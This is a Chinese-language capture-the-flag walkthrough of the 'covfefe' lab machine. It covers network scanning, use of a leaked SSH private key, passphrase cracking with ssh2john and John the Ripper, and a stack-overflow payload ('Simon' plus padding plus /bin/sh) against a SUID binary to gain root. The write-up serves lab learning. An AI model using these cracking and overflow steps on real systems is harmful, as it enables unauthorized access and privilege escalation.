1.arp扫描
1 | arp-scan -l |

2.nmap扫描
1 | sudo nmap -T4 -sS -sV -sC -O 192.168.3.3 |

其中有用的部分
1 | 31337/tcp open http |
3.dirb扫描

1 | ---- Scanning URL: http://192.168.43.76:31337/ ---- |
4.curl查找
1 | curl 192.168.43.76:31337/taxes/ |

==flag1==
1 | flag1{make_america_great_again} |
5.ssh(相关知识并非WP)
- ==本地mac和kali虚拟机测试ssh==
5.1 本地生成密钥对
mac本地生成ssh密钥对,命名**my_kali_rsa**
1 | ssh-keygen -t rsa -f ~/.ssh/my_kali_rsa |

5.2 本地开启服务
开启mac本地80端口下载服务, 注意路径问题,需要在**.ssh** 文件目录下开启
1 | python3 -m http.server 80 |

5.3 上传本地公钥至kali
1 | wget http://192.168.43.153/my_kali_rsa.pub |

5.4 ssh远程kali
mac本地进行ssh远程kali, 注意这里** -i ** 是==私钥==
1 | ssh -i .ssh/my_kali_rsa root@192.168.43.62 |

- ==实际登录验证阶段(SSH 连接时的自动流程)==
当客户端尝试 SSH 登录服务器时,SSH 协议会自动完成身份验证,无需输入密码:
- 客户端向服务器发送登录请求,告知自身身份;
- 服务器在目标用户的
~/.ssh/authorized_keys中,查找对应的客户端公钥; - 服务器生成一个随机字符串,用该公钥加密后发送给客户端;
- 客户端收到加密字符串后,用自己的私钥解密,并将解密后的字符串回传给服务器;
- 服务器验证回传的字符串是否与自己最初生成的一致:
- 一致:身份验证通过,直接建立加密连接;
- 不一致:拒绝登录。
- 生成私钥和公钥



6.ssh登录
6.1 id_rsa登录
1 | ssh -i id_rsa simon@192.168.43.76 |
- 发现拒绝登录,bad permissions,需要设置id_rsa权限为600,设置后发现需要密码
1 | ┌──(root㉿kali-linux)-[~/localkali/covfefe] |
6.2 John破解工具
- 这里用工具破解密码如
john、hydra,这里以john为例
- 先定位
- 查看用法
- 进行转换
- 破解
- 查看密码

1 | ┌──(root㉿kali-linux)-[~/localkali/covfefe] |
- 破解流程如下:
- 转换私钥为哈希文件:
1 | python /usr/share/john/ssh2john.py my_encrypted_id_rsa > ssh_key_hash.txt |
- 用 John 破解哈希:
1 | john ssh_key_hash.txt |
- 查看破解结果:
1 | john --show ssh_key_hash.txt |
6.3 破解成功登录
破解查看密码,为 starwars,再次尝试登录
发现登录成功
7.查找flag
ssh远程登录后尝试查找flag,没有发现相关flag
1 | find / \( -name user.txt -o -name root.txt \) 2>/dev/null -exec cat {} + |
进入root目录查找,发现flag.txt,但是无权限访问,接着查看**==read_message.c==**,发现flag2
==flag2==
1 | flag2{use_the_source_luke} |

查看read_message.c完整代码
堆栈溢出
[!Summary]
分析上述源码。当我们输入一个字符串时, 它将与Simon 一起检查字符串的前5字符。如果匹配, 它将运行一个程序/usr/local/bin/read_message。现在输入它被分配大小为20个字节。因此, 我们溢出堆栈进入超过20个字节的数据。我们使用前5个字符是"Simon", 然后是15个任意字符, 然后是"/bin/sh"在第21字节,溢出提权。
查找root权限的文件,发现read_message也是root权限
运行read_message在输入用户名后随意加15字节**(5+15=20)**的内容,再加/bin/sh调用sh命 令解释器 ,获取root权限。
1 | Simon123451234512345/bin/sh |

==flag3==
1 | flag3{das_bof_meister} |
[!note]- 涉及主要知识点:
- ssh登录,John破解私钥
- 堆栈溢出